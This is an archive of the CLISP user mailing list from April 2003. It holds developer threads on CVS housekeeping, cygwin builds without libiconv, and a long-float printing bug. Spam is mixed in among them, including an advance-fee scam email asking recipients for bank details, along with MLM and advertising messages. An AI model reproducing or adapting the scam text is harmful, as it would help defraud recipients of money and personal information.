clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 11:48:13 2003 X-Original-Date: 01 Apr 2003 14:43:33 -0500 > * In message > * On the subject of "[clisp-list] Re: CVS issues." > * Sent on Tue, 1 Apr 2003 10:46:17 -0800 (PST) > * Honorable Kaz Kylheku writes: > > While working on the new backquote stuff, I ran into some irritations > with $Log$ keywords in some files in src and src/po. This useless > thing just causes merge conflicts. It might be a good idea to get rid > of $Log$ and the messages it has generated. yes, what files have this? > What else? Oh yes, question: must src/aclocal.m4 be in version > control? I've had phony diffs because this was regenerated on its own > and then checked in. I had to edit it out of the patch I submitted. all files generated by autoconf &c are in the CVS because we cannot ask users to install autoconf (in addition to gcc) to build CLISP. I doubt that these issues are of interest to the users, so I set Reply-To to clisp-devel. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Don't take life too seriously, you'll never get out of it alive! From sds@gnu.org Tue Apr 01 14:39:20 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190UPX-0000B4-00 for ; Tue, 01 Apr 2003 14:39:19 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030401223913.EXOC1728.pop015.verizon.net@loiso.podval.org>; Tue, 1 Apr 2003 16:39:13 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h31MekTx009630; Tue, 1 Apr 2003 17:40:46 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h31MekSl009626; Tue, 1 Apr 2003 17:40:46 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: Subject: Re: [clisp-list] win32 cvs head binaries References: <5845984.1049200739@GOLDSCHMIDT.phyast.pitt.edu> <3E89EE34.74A612B4@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3E89EE34.74A612B4@ieee.org> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.128] at Tue, 1 Apr 2003 16:39:13 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 14:43:56 2003 X-Original-Date: 01 Apr 2003 17:40:46 -0500 > * In message <3E89EE34.74A612B4@ieee.org> > * On the subject of "Re: [clisp-list] win32 cvs head binaries" > * Sent on Tue, 01 Apr 2003 12:53:24 -0700 > * Honorable Dan Stanger writes: > > Sam Steingold wrote: > > > Note that in your very first message to this list you appeared to > > indicate that CLISP cannot be built on cygwin without libiconv. > > If this is the case, it is no good and should be fixed. > > Please apply the first appended patch and rebuild without libiconv. > > The warnings (in an ugly list form due to bootstrapping) will tell us > > what encodings are missing. > > The second patch should make clisp build on cygwin even without > > libiconv. > > What is the flag to configure without libiconv? you have to remove libiconv first; when it is present, it will be used. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If you're passed on the right, you're in the wrong lane. From orioncentre@indiatimes.com Tue Apr 01 19:36:56 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 190Z3V-00067H-00 for ; Tue, 01 Apr 2003 19:36:53 -0800 Received: from [208.164.180.21] (port=17501 helo=indiatimes.com) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 190Z3H-0004sQ-00 for ; Tue, 01 Apr 2003 19:36:44 -0800 From: "Mrs S. A William" To: Mime-Version: 1.0 Reply-To: "Mrs S. A William" Message-Id: Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=6.1 required=7.0 tests=X_NOT_PRESENT,DEAR_SOMEBODY,RISK_FREE,PORN_14, RCVD_IN_BL_SPAMCOP_NET version=2.21 X-Spam-Level: ****** Subject: [clisp-list] Very Urgent Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 19:37:41 2003 X-Original-Date: Wed, 2 Apr 2003 04:33:56 +0200 Dear Sir, It is my great pleasure get intouch with you this great minute. My name is Mrs S. A William and I am married to Late Dr S. A William who died last three months. I saw your contact in one of my late husband's files. And contacting you is concerning the unfinished company project which my late husband was about establishing in your country before his death. However, my late husband has a partner in your country in person of Mr Smith H Aron who advise my husband to establsh a company in your country and after my late husband's trip to your country where he attended a business meeting with Mr Smith H Aron and other business partners of theirs, they decided to go to Seria leon to visit their Lawyer but unfortunately they were intercepted and mudered by the Rebels. And since the death of my husband, my inlaws has seized all my late husband's properties and Bank Accounts theirby making it difficult for me to feed my children or send them to school. So right now, there is this money (USD45.5 Million) deposited in one of the Security Companies by my late husband which he had wanted to transfer to your country for onward establishment of the Company which non of my inlaws know about it and I have also found out from the Security Company that my late husband only gave them a Standing Order to transfer the money to your country in three weeks time with intention of advising them of the Bank Account and Name Of Beneficiay where to paying the money in your country as soon as the agreemeent is signed with Mr Smith H Aron and others, but he was unable to conclude the arrangemen before his death. And since I have nothing to lay my hands on to feed my children and send them to school after the seizure of all my husband's fortune/properties by husband's family, I will like to present you to the Security Company as the beneficiary/the person whom my late husband had wanted to transfer the money to in your country so that the Security Company can transfered this money to your Account and then we share it together. Further to this as a matter of importance, please note that the Security Company has already advise me to send them the Name and Bank Account of the Beneficiary in your Country whom they will send the money to. PLEASE NOTE: that this transaction is absolutely risk free will last only three working days before conclusion and as soon as I hear from you, I shall like to discuss your compensation with you so as to enable you know what will be your share before as soon as the money is being transfered to you. As a matter of importance and security of our information, please reply me through this email address: holinscenter@lexpress.net and also send me your private telephone and fax number. Thanks and God Bless as I am urgently awaiting to hearing from you. Mrs. S. A William From csr21@cam.ac.uk Wed Apr 02 01:38:59 2003 Received: from purple.csi.cam.ac.uk ([131.111.8.4]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190ehP-00084c-00 for ; Wed, 02 Apr 2003 01:38:27 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by purple.csi.cam.ac.uk with esmtp (Exim 4.12) id 190egt-0004L8-00 for clisp-list@lists.sourceforge.net; Wed, 02 Apr 2003 10:37:55 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 190egr-000322-00 for ; Wed, 02 Apr 2003 10:37:53 +0100 To: CLISP Subject: Re: [clisp-list] Current CVS observations From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "26 Mar 2003 09:55:26 -0500") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 2 01:40:30 2003 X-Original-Date: Wed, 02 Apr 2003 10:37:52 +0100 Sorry it's taken so long to get back to you: Sam Steingold writes: >> * In message >> * On the subject of "Re: [clisp-list] Current CVS observations" >> * Sent on Wed, 26 Mar 2003 11:10:56 +0000 >> * Honorable Christophe Rhodes writes: >> >> csr21@mu:~/misc-cvs/clisp$ xxx/lisp.run -M xxx/lispinit.mem >> STACK depth: 16363 >> SP depth: 67109992 >> [...] > > what did you snip? > do you have a ~/.clisprc? I have no ~/.clisprc -- the only snippage was the normal clisp herald. >> [1]> pi >> 0.00282743338823081391L0 >> [2]> (rationalize pi) >> [... apparent hang ...] >> 1. Break [4]> 1.0L0 >> 9.000000000000000L-5 >> >> So maybe long-float stuff is broken? If it helps, gcc was 2.95.4 from >> Debian, and clisp was configured with >> ./configure --with-debug --build xxx >> Let me know if there's anything else you'd like me to try on this one. > > (float pi 1d0) > (sin pi) [1]> (float pi 1d0) 3.141592653589793d0 [2]> pi 0.00282743338823081391L0 [3]> (sin pi) -5.0165576136843360246L-20 [4]> (cos pi) -9.000000000000000L-5 [5]> (tan pi) 5.0165576136843360246L-20 Hope that helps... Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From qfmoreinfoplease2003@yahoo.com Wed Apr 02 04:07:30 2003 Received: from pc4-blfs1-6-cust117.blfs.cable.ntl.com ([213.107.96.117] helo=200.207.155.168) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190h1Z-00007T-00 for ; Wed, 02 Apr 2003 04:07:27 -0800 Received: from rly-xl04.mx.aol.com ([161.143.46.72]) by m10.grp.snv.yahoo.com with QMQP; Apr, 02 2003 5:52:46 AM -0100 Received: from unknown (28.35.188.67) by rly-xl04.mx.aol.com with esmtp; Sun, 07 Apr 2002 13:26:58 +1000; Apr, 02 2003 4:53:52 AM +0300 From: tsrtSid To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Mailer: Microsoft Outlook Express 5.50.4133.2400 Message-Id: Subject: [clisp-list] Earn full time imcome while working part time tab Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 2 04:11:19 2003 X-Original-Date: Wed, 2 Apr 2003 07:09:02 -0500

We are looking for a few committed individuals.

We have a very lucrative, proven, home business opportunity that we want to introduce only to a few people.

Why only a few? That’s easy, if we attract hundreds or thousands 99% will fail. Guaranteed!

The few we find, that possess the right qualifications, such as:

  • Honesty
  • Commitment
  • Desire

we personally want to work with. We want them to succeed.

Therefore, by only selecting a few, we insure their success as much as possible.

This Lucrative Home Business is FREE. You just have to put in the time. We will supply you with the training.

Sure we can tell you many success stories, but I can also tell you this is not a “Get Rich Quick Scheme”. If you put in the work, the rewards can be many.

After saying all of this, and you are interested, please click on the “Tell Me More” and we will take you to the next step.

Thanks for your time,

Diane

“Tell Me More”

 

 

 Abuse Policy: This e-mail is sent in compliance with our strict anti-abuse regulations. You have received this e-mail because you or someone using your computer has used an FFA List, or Safe List, your email address was listed in other optin lists posted on the Internet and/or you or someone using your computer requested other information from other mailings that was sent to your computer. 

If you do not wish to receive any mail from our servers you may block your e-mail address from this list by clicking on the following link.

Remove

 

diuvpcvsmriynlryyspbtq From lisp-clisp-list@m.gmane.org Wed Apr 02 07:13:44 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190jvp-0004Le-00 for ; Wed, 02 Apr 2003 07:13:41 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 190jvV-00038R-00 for ; Wed, 02 Apr 2003 17:13:21 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 190juY-00034C-00 for ; Wed, 02 Apr 2003 17:12:22 +0200 From: Sam Steingold Organization: disorganization Lines: 47 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Current CVS observations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 2 07:14:19 2003 X-Original-Date: 02 Apr 2003 10:14:15 -0500 > * In message > * On the subject of "Re: Current CVS observations" > * Sent on Wed, 02 Apr 2003 10:37:52 +0100 > * Honorable Christophe Rhodes writes: > > Sam Steingold writes: > >> [1]> pi > >> 0.00282743338823081391L0 > >> [2]> (rationalize pi) > >> [... apparent hang ...] > >> 1. Break [4]> 1.0L0 > >> 9.000000000000000L-5 > >> > >> So maybe long-float stuff is broken? If it helps, gcc was 2.95.4 from > >> Debian, and clisp was configured with > >> ./configure --with-debug --build xxx > >> Let me know if there's anything else you'd like me to try on this one. > > > > (float pi 1d0) > > (sin pi) > > [1]> (float pi 1d0) > 3.141592653589793d0 > [2]> pi > 0.00282743338823081391L0 > [3]> (sin pi) > -5.0165576136843360246L-20 > [4]> (cos pi) > -9.000000000000000L-5 > [5]> (tan pi) > 5.0165576136843360246L-20 it appears that _printing_ of long floats is broken, rather than _arithmetics_. Could you please check that? e.g., (float (cos pi) 1d0) ==> -1d0 ? &c&c btw, what is *WARN-ON-FLOATING-POINT-CONTAGION*? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux War doesn't determine who's right, just who's left. From unsub@artauction.net Wed Apr 02 07:16:47 2003 Received: from mail1.artmarket.com ([194.242.43.183]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190jyn-0005SM-00 for ; Wed, 02 Apr 2003 07:16:45 -0800 From: Signatures Books To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] 36,000 artists' signatures, monograms and symbols Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 2 07:17:24 2003 X-Original-Date: Wed, 02 Apr 2003 07:16:45 -0800 Signatures, Monograms and Symb0ls

36,000 artists' signatures, monograms and symbols
An exclusive expert tool!


TECHNICAL DATA
size: 225 x 290 mm, 0,58 x 0,17in
860 pages
ISBN :0-9668526-0-5

Encyclopedia of signatures and Monograms

H. Caplan and B. Creps
(this reference book is held by artprice.com SA)

The Encyclopedia of artists' signatures, symbols and monograms is the most comprehensive reference on the matter: 9,400 artists from Europe, America and Australia. 25,000 signatures and hundreds of data never published.

USD/EUR199
Order



TECHNICAL DATA
size: 165 x 240 mm, 0,96 x 0,49in
500 pages
ISBN : 2-85299-023-7

Artist's signatures and monograms
from 19 & 20th century

Editions Van Wilder
(this reference book is held by artprice.com SA)

This new book is the most complete dictionary of artists signatures and monograms worldwide of the 19th and 20th centuries. The majority of signatures has been collected during the past ten years from auction catalogues worldwide.
In order to cover the full artistic life span whenever possible, we have given several signatures for each artist.

USD/EUR59
Order


Special Price
USD/EUR
16.58 / month

Every day, Artprice serves 900,000 worldwide art-market information addicts.

Art dealers, galleries, appraisers, auctioneers, museums, institutions, banks, insurance brokers, collectors and also new amateurs now access unique information that used to be restricted to insiders in the 20th C.

In 2003, the Artprice Pure Play subscription is the quickest and easiest way to unlimited search among 3.2 million art work auction results, 290,000 artists, their upcoming auctions, price levels and indices -unique in the world- biographies, signatures & monograms as well as to all the Artprice ArtMarketInsight press releases.

Artprice Pure Play (unlimited access):

USD/EUR16.58 per month
Join the 900,000 Artprice customers

 


THE WORLD LEADER IN ART MARKET INFORMATION






















[In English]

36 000 signatures, monogrammes et symboles d'artistes
Un outil d'expertise unique au monde !


FICHE TECHNIQUE
format : 165 x 240 mm
860 pages
ISBN : 0-9668526-0-5

Encyclopédie
des signatures et monogrammes

H. Caplan et B. Creps
(cet ouvrage de référence appartient à artprice.com SA)

L'Encyclopédie des signatures, symboles et monogrammes d'artistes est l'ouvrage le plus complet sur le sujet : 9 400 artistes d'Europe, d'Amérique et d'Australie.
Plus de 25 000 signatures et des centaines de données jamais publiées.

Prix: 199EUR
Commander



FICHE TECHNIQUE
format : 165 x 240 mm
500 pages
ISBN : 2-85299-023-7

Signatures et Monogrammes d'artistes
des XIX et XXe siècles

Editions Van Wilder
(cet ouvrage de référence appartient à artprice.com SA)

Cet ouvrage regroupe plus de 10 000 signatures et monogrammes d'artistes des XIX et XXe siècles. La plupart des signatures ont été reproduites à partir des catalogues de ventes des dix dernières années.
Pour chaque artiste, nous avons signalé les dates de naissance ou de mort. Afin de couvrir le parcours complet des artistes, chaque fois que cela était possible nous avons indiqué plusieurs signatures pour chaque artiste.

Prix: 59EUR
Commander

 


Prix spécial
16,58 euros
par mois

Chaque jour, Artprice fournit 900 000 "addicts d'informations" sur le marché de l'art à travers le monde.

Marchands, galeristes, experts, auctioneers, musées, institutions, banques, assurances, collectionneurs, mais aussi de nouveaux amateurs disposent désormais d'une information inestimable qui était au XXème siècle le privilège d'un cercle d'initiés.

Une simple connexion Internet avec l'abonnement Artprice Pure Play vous donne l'accès immédiat et illimité aux 3,2 millions de résultats d'adjudications d'œuvres d'art, 290 000 artistes, ventes prochaines, indices et cotes uniques au monde, biographies, signatures et monogrammes ainsi qu'à toutes les dépêches d'informations sur le marché de l'art.

Accès illimité : Pure Play* sur Artprice
*100% internet

Prix: 16,58EUR
Rejoignez les 900 000 clients Artprice

 


LEADER MONDIAL DE L'INFORMATION SUR LE MARCHE DE L'ART

 










To remove your email: clisp-list@lists.sourceforge.net
please click below:
http://list.artauction.net/?m=clisp-list@lists.sourceforge.net
In case the above link does not work you can go to
http://list.artauction.net/
or reply to this message as it is.
Please allow us 72 H for your e-mail to be removed.
Thank you for your co-operation.

Pour désinscrire votre email : clisp-list@lists.sourceforge.net
cliquez ci-dessous :
http://list.artauction.net/?m=clisp-list@lists.sourceforge.net
Si le lien ci-dessus ne fonctionne pas, vous pouvez aller sur :
http://list.artauction.net/
ou répondez svp à ce message sans en modifier le contenu.
Votre désinscription sera effective dans les 72 H.
Merci de votre coopération.

En conformité avec la loi 78-17 du 6/1/78 (CNIL), vous pouvez demander à ne plus figurer sur notre fichier de routage.

From csr21@cam.ac.uk Wed Apr 02 07:29:27 2003 Received: from maroon.csi.cam.ac.uk ([131.111.8.2]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190kAa-0004h2-00 for ; Wed, 02 Apr 2003 07:28:56 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by maroon.csi.cam.ac.uk with esmtp (Exim 4.12) id 190kA3-0000WI-00 for clisp-list@lists.sourceforge.net; Wed, 02 Apr 2003 16:28:23 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 190kA2-0003Xf-00 for ; Wed, 02 Apr 2003 16:28:22 +0100 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Current CVS observations From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "02 Apr 2003 10:14:15 -0500") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 2 07:31:57 2003 X-Original-Date: Wed, 02 Apr 2003 16:28:22 +0100 Sam Steingold writes: >> [1]> (float pi 1d0) >> 3.141592653589793d0 >> [2]> pi >> 0.00282743338823081391L0 >> [...] > it appears that _printing_ of long floats is broken, rather than > _arithmetics_. Could you please check that? > e.g., > > (float (cos pi) 1d0) ==> -1d0 ? Yup. [1]> *warn-on-floating-point-contagion* T [2]> (float (cos pi) 1.0d0) -1.000000000000000d0 Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From uooper@mail.ru Wed Apr 02 12:42:44 2003 Received: from aorleans-103-1-18-38.abo.wanadoo.fr ([81.51.61.38]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190p4C-00062C-00 for ; Wed, 02 Apr 2003 12:42:41 -0800 From: To: Content-Type: text/html; charset="koi8-r" Message-Id: Subject: [clisp-list] óËÕÐÁÅÍ Â/Õ ÍÏÂÉÌØÎÙÅ ÔÅÌÅÆÏÎÙ. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 2 12:47:31 2003 X-Original-Date: Wed, 02 Apr 2003 12:42:41 -0800

óËÕÐÁÅÍ Â/Õ ÍÏÂÉÌØÎÙÅ ÔÅÌÅÆÏÎÙ. äÏÒÏÇÏ.

ôÅÌ. +79128677727 +79128674247 (× ÌÀÂÏÅ ×ÒÅÍÑ)

E_mail: uooper@mail.ru

xw57dez From sds@gnu.org Wed Apr 02 15:27:11 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190rdP-0002Xe-00 for ; Wed, 02 Apr 2003 15:27:11 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030402232704.NCOG15325.out006.verizon.net@loiso.podval.org>; Wed, 2 Apr 2003 17:27:04 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h32NSeTx026880; Wed, 2 Apr 2003 18:28:40 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h32NSeNJ026876; Wed, 2 Apr 2003 18:28:40 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christophe Rhodes Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Current CVS observations References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.42.128] at Wed, 2 Apr 2003 17:27:04 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 2 15:32:43 2003 X-Original-Date: 02 Apr 2003 18:28:40 -0500 > * In message > * On the subject of "Re: [clisp-list] Re: Current CVS observations" > * Sent on Wed, 02 Apr 2003 16:28:22 +0100 > * Honorable Christophe Rhodes writes: > > [2]> (float (cos pi) 1.0d0) > -1.000000000000000d0 The bad news is that nobody can reproduce this bug, so you are on your own. The good news is that the bug in lisp, not C, so all you need to look at is src/floatprint.lisp The bad news is that the comments (and some variable names!) are in German. The good news is that there are a _lot_ of comments there, and the file is just over 400 lines. So just go there and try to figure out what is bad. you can load the source with $ clisp -E utf-8 -i floatprint.lisp and step through the print functions. Thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I don't want to be young again, I just don't want to get any older. From ddqmoreinfoplease2003@yahoo.com Wed Apr 02 19:57:46 2003 Received: from 66.188.5.187.bay.mi.chartermi.net ([66.188.5.187] helo=207.6.5.64) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190vrC-0004Wr-00 for ; Wed, 02 Apr 2003 19:57:43 -0800 Received: from 51.110.169.187 ([51.110.169.187]) by rly-xl04.mx.aol.com with SMTP; Apr, 02 2003 9:43:06 PM +1200 Received: from [138.156.251.163] by da001d2020.lax-ca.osd.concentric.net with local; Apr, 02 2003 8:47:06 PM -0700 From: nsrRob To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Mailer: Microsoft Outlook Express 6.00.2462.0000 Message-Id: Subject: [clisp-list] Part time business lis Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 2 19:58:47 2003 X-Original-Date: Wed, 2 Apr 2003 22:59:19 -0500

We are looking for a few committed individuals.

We have a very lucrative, proven, home business opportunity that we want to introduce only to a few people.

Why only a few? That’s easy, if we attract hundreds or thousands 99% will fail. Guaranteed!

The few we find, that possess the right qualifications, such as:

  • Honesty
  • Commitment
  • Desire

we personally want to work with. We want them to succeed.

Therefore, by only selecting a few, we insure their success as much as possible.

This Lucrative Home Business is FREE. You just have to put in the time. We will supply you with the training.

Sure we can tell you many success stories, but I can also tell you this is not a “Get Rich Quick Scheme”. If you put in the work, the rewards can be many.

After saying all of this, and you are interested, please click on the “Tell Me More” and we will take you to the next step.

Thanks for your time,

Diane

“Tell Me More”

 

 

 Abuse Policy: This e-mail is sent in compliance with our strict anti-abuse regulations. You have received this e-mail because you or someone using your computer has used an FFA List, or Safe List, your email address was listed in other optin lists posted on the Internet and/or you or someone using your computer requested other information from other mailings that was sent to your computer. 

If you do not wish to receive any mail from our servers you may block your e-mail address from this list by clicking on the following link.

Remove

 

bnmrrtmfxjslwiljpexpquxnbpdpxlui From csr21@cam.ac.uk Thu Apr 03 01:45:54 2003 Received: from plum.csi.cam.ac.uk ([131.111.8.3]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1911He-0002lR-00 for ; Thu, 03 Apr 2003 01:45:22 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by plum.csi.cam.ac.uk with esmtp (Exim 4.12) id 1911H8-0007va-00 for clisp-list@lists.sourceforge.net; Thu, 03 Apr 2003 10:44:50 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 1911H7-0004ON-00 for ; Thu, 03 Apr 2003 10:44:49 +0100 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Current CVS observations From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "02 Apr 2003 18:28:40 -0500") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 3 01:46:40 2003 X-Original-Date: Thu, 03 Apr 2003 10:44:49 +0100 Sam Steingold writes: >> * In message >> * On the subject of "Re: [clisp-list] Re: Current CVS observations" >> * Sent on Wed, 02 Apr 2003 16:28:22 +0100 >> * Honorable Christophe Rhodes writes: >> >> [2]> (float (cos pi) 1.0d0) >> -1.000000000000000d0 > > The bad news is that nobody can reproduce this bug, so you are on your > own. Wow, cool! I wonder how on earth I've managed this. > The good news is that the bug in lisp, not C, so all you need to look > at is src/floatprint.lisp > > The bad news is that the comments (and some variable names!) are in > German. :-) > Thanks! I'll give it a try -- I'll try to have a look at it on my travels. I hesitate to ask, but has there been any progress on the other two issues I reported? (in case they're lost, they related to EVAL-WHEN :EXECUTE not being executed when it's not at top-level, and use of print-logical-block setting a variable (*PRIN-LEVEL*?) in a locked package. Cheers, Christophe -- 